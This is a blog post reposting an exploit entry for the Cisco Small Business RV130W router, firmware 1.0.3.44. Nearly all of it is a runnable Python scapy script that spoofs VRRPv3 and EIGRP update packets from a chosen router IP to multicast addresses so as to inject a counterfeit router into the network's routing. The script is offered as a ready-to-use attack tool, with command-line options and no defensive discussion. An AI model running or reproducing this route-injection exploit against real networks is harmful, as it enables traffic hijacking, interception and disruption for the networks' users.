Monday, October 4, 2021

Cisco Small Business RV130W 1.0.3.44 Injection

# Exploit Title: Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers
# Date: 24/09/2021
# Exploit Author: Michael Alamoot
# Vendor Homepage: https://www.cisco.com/
# Version: RV130W 1.0.3.44
# Tested on: Kali linux

#! /usr/bin/env python3
from scapy.contrib.eigrp import EIGRPAuthData
from scapy.contrib.eigrp import EIGRPIntRoute
from scapy.contrib.eigrp import EIGRPGeneric
from scapy.contrib.eigrp import EIGRPSeq
from scapy.contrib.eigrp import EIGRP
from scapy.layers.vrrp import VRRPv3
from scapy.layers.vrrp import VRRP
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP
from scapy.sendrecv import sendp
from scapy.volatile import RandMAC
from scapy.all import conf
import socket,networkx,os
import argparse,sys,asyncio

class argX:
def __init__(self):
self.parser = argparse.ArgumentParser(description="...")
self.parser.add_argument(
"-i","--ip",
help="ip router fake injection",
dest="ip",
)
self.parser.add_argument(
"-r","--ip-router",
help="ip router root",
dest="router",
default=conf.route.route('0.0.0.0')[2]
)

def argvX(self):
""" [0] ip-router [1] ip-fake """
args = self.parser.parse_args()
ip = args.ip
route = args.router
return [ip,route]


class exploit(object):

def __new__(cls,*args,**kwargs):
return super(exploit,cls).__new__(cls)

def __init__(self,IProuter,InjectFackeRouter):
self.IProuter = IProuter
self.InjectFackeRouter = InjectFackeRouter
self.MAC = RandMAC()

def pyload(self):
pyload = Ether()/IP(src=self.IProuter,dst="224.0.0.18")\
/VRRPv3(version=3,type=1,vrid=1,priority=100,res=0,adv=100,addrlist=self.InjectFackeRouter)\
/IP(src=self.IProuter,dst="224.0.0.10") \
/EIGRP(opcode="Update",asn=100,seq=0,ack=0
,tlvlist=[EIGRPIntRoute(dst=self.InjectFackeRouter,nexthop=self.IProuter)])
return pyload

def start(self,count=[0,100]):
for i in range(count[0],count[1]):
sendp(self.pyload(),verbose=0,return_packets=False,inter=0,loop=0)
print(f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m")

if __name__ == "__main__":
a = argX().argvX()
if a[0]:
net1 = exploit(IProuter=a[1],InjectFackeRouter=a[0])
net1.start()
else:
print("[-h] [--help]")

 

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore